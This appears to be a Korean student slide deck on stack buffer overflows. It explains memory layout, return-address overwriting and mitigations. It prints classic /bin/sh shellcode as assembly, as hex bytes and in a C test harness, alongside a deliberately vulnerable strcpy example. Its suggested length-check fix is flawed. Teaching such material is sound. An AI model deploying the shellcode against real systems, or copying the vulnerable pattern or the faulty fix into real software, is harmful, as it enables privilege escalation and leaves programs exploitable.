230 likes | 849 Views
버퍼오버플로우. 20076552 오가경. 2. 3. 4. 메모리 구조. 스택 버퍼 오버 플로우. 버퍼 오버 플로우 공격 원리. 목 차. 1. 버퍼 오버 플로우 소개. 5. 공격 사례와 해결방안. 버퍼오버플로우 소개. 버퍼 오버 플로우 란 ? 지정된 버퍼 (Buffer) 의 크기보다 더 많은 데이터를 입력 -> 프로그램이 비정상적으로 동작하도록 함 . 버퍼란 프로그램 처리 과정에 필요한 데이터가 일시적으로 저장되는 공간 . -> C 에서 배열이나 포인터 부분에서 많이 사용
E N D
버퍼오버플로우 20076552 오가경
2 3 4 메모리 구조 스택 버퍼 오버 플로우 버퍼 오버 플로우 공격 원리 목 차 1 버퍼 오버 플로우 소개 5 공격 사례와 해결방안
버퍼오버플로우 소개 • 버퍼 오버 플로우 란? • 지정된 버퍼(Buffer)의 크기보다 더 많은 데이터를 입력-> 프로그램이 비정상적으로 동작하도록 함. • 버퍼란프로그램 처리 과정에 필요한 데이터가 일시적으로 저장되는 공간.-> C에서 배열이나 포인터 부분에서 많이 사용 • 버퍼오버플로우의 발생 원인-> C언어에서는 데이터가 지정된 버퍼의 크기보다 더 많이 입력되었는지를 체크하지 않음.
버퍼오버플로우 소개 • 버퍼 오버 플로우 공격이란? • 메모리에 할당된 버퍼의 양을 초과하는 데이터를 입력하여 프로그램의 복귀 주소(return address)를 조작하여, 궁극적으로 해커가 원하는 코드를 실행하는 것. • 대개의 경우 버퍼가 오버 플로우 되면 프로그램이 비정상적으로 종료-> 버퍼가 오버 플로우 되는 순간에 사용자가 원하는 임의의 명령어를 수행시킬 수 있다는 가능성이 알려지면서 문제가 되기 시작함. • 1997년 Aleph One이 Phrack 잡지 49호 “Smashing the Stack for Fun and Profit”이라는 제목으로 기사를 기고하면서 널리 알려진 기법임
메모리 구조 • 메모리 기본 구조
메모리 구조 • 스택의 구조 Higher memory address Lower memory address
버퍼 오버 플로우 공격 원리 • 공격 방법 • 적당한 곳에 해커가 원하는 코드 삽입 • 리턴 어드레스를 그 삽입한 코드 부분이 있는 곳으로 바꿔 줌 • 공격 대상 • setUID 설정이 된 실행파일- 프로그램이 SETUID 루트로 실행되어서 프로그램의 실행 중에 루트 권한으로 동작하고 있으면, 내부 사용자가 루트 권한을 얻을 수 있음. • root 권한으로 작동되고 있는 서버프로그램 등…- 서버 프로그램과 같이 외부에서 입력을 받으며 실행되는 프로그램이 버퍼 오버플로우 공격을 당하게 되면 공격자가 내부 사용자 권한을 획득 할 수가 있게 됨.
버퍼 오버 플로우 공격 원리 • 공격 방법 • 메모리에 이진 실행 코드(shell code)를 저장▷버퍼를 오버플로우 시킬 때, 해당 버퍼에 쉘코드를 저장 • 루트권한으로 실행되는 프로그램의 리턴주소를 조작▷ 조작된 리턴주소는 쉘코드로 점프▷ 리턴주소는 버퍼를 오버플로우 시켜서 원하는 값으로 덮어씀 • 프로그램이 종료시 조작된 리턴주소를 읽어서 복귀▷ 쉘코드가 실행 (루트권한)▷ 루트권한으로 특정 작업이 실행/공격자는 루트의 권한 획득
버퍼 오버 플로우 공격 원리 • 쉘 코드 ▷/bin/sh을 실행하는 코드들 임. ▷ /bin/sh을 실행하게 되면, 그 이후부터는 이 쉘을 이용해 다른 모든 명령을 실행 시킬 수 있음. • 쉘 코드의 구조 #include <stdio.h> void main(){ char *name[2]; name[0] = “/bin/sh”; name[1] = NULL; execv( name[0], name, NULL ); }
버퍼 오버 플로우 공격 원리 • 쉘을 실행시키는 코드 추출(intel x86의 리눅스 코드 임. ) jmp 0x1f popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %eax, 0x7(%esi) movl %eax, 0xc(%esi) movb %0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 xorl %ebx, %ebx movl %ebx, %eax inc %eax int $0x80 call -0x24 .string “/bin/sh”
버퍼 오버 플로우 공격 원리 • 이 코드를 스택에 넣은 다음 실행 시키면, /bin/sh을 실행 시키게 됨.위의 코드를 16진수 형태의 문자배열로 만들어야 됨.다음과 같은 문자 배열을 만들 수 있음. eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 00
버퍼 오버 플로우 공격 원리 • 쉘 코드 동작 확인 테스트프로그램.char shellcode[]= “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07 \x89\x46\x0c\xb0\x0b” “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31 \xdb\x89\xd8\x40\xcd” “\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73 \x68”; void main() { int *ret; ret=(int *)&ret+2; (*ret)=(int)shellcode; }
스택 버퍼 오버 플로우 • Stack을 사용하는 이유 • 함수와 프로시저를 사용하기 위함 • 프로시저 호출 : 프로그램의 흐름을 변경, 프로그램의 명령을 끝낸 후 리턴 • Return-Address(RET) : 프로그램은 텍스트 영역을 읽으면서 실행 -> 함수를 호출할 때는 그 함수의 역할이 끝나고 돌아올 주소(RET)를 Stack에 저장 • 함수의 실행이 끝난 후에 Stack에 저장된 RET를 참조하여 프로그램 코드 실행 • RET를 바꾸면 프로그램의 흐름을 변경 가능
스택 버퍼 오버 플로우 Buffer 크기보다 더 많은 문자가 입력 되었기 때문에 SFP(Stack Frame Pointer) 영역은 물론 RET(Return add.), 인수영역까지 침범하여 문자로 채움 이 때,Buffer에 shell code를 넣고 RET에 Buffer 주소를 넣으면 shell code 실행가능. High void sample_function(char *str) { char buffer[16]; strcpy (buffer, str); return; } void main() { char buffer[256]; int i; for (i = 0; i < 255; i++) buffer[i] = ‘A’; sample_function (buffer); } RET 의 값은 Parameters의 주소 Low
스택 버퍼 오버 플로우 <공격전> main main function function call call shell code <공격후>
공격사례와 해결방안 • 버퍼 오버 플로우 현상 1 sample_function 함수 안에 buffer 배열의 사이즈는 200개인데 main 함수 안의 buffer 배열 사이즈 256개를 복사 하려고 하니 버퍼 오버플로우 현상이 나타나 오류가 발생한 것을 확인 할 수 있다.
공격사례와 해결방안 • 해결책 If(strlen(str) > strlen(buffer)){ prntf(“Buffer OverFlow\n”); exit(1); } 문자열 길이를 체크하여 버퍼오버플로우 방지.
공격사례와 해결방안 • 소스코드 스캐너의 사용 • lint 라는 유닉스용 툴 사용이식 가능하고 표준 및 규정에도 맞는 C 구문이지만 오류를 발생할 가능성이 있는 숨어 있는 문제 (implicit problem)에 대해서 리포팅 해주는 기능 • 오픈소스로 공개되어 있음clint : A source code checker for C++ http://www.sourceforge.net/projects/clint/jlint : A static Java program checker http://artho.com/jlint/splint : tool that checks C programs for security problems and oding mistakes http://www.splint.org/
공격사례와 해결방안 • 함수 차원에서의 방법 • 취약한 함수는 대체함수로 사용
공격사례와 해결방안 • 보안패치 적용 • 버퍼 오버플로우 공격을 방지할 수 있는 가장 기본적인 방법은 각 시스템 회사에서 배포하는 보안패치를 적용하는 것이다. • 불필요한 프로그램을 정지 • 해커들의 공격대상이 되고 있는 버퍼 오버플로우 취약점을 가진 네트워크 서비스들 중 대부분은 실제 사용되지 않는 서비스들이 많다. 그러므로 이러한 서비스들은 부팅시에 자동으로 실행되지 않게 하거나 해당 서비스의 실행을 중지 시켜야만한다. • 버퍼 오버플로우 차단프로그램 설치 운영 • 만약 패치가 신속히 제공되지 않을 때 차단 프로그램(Wrapper)으로 버퍼 오버플로우를 해결한다.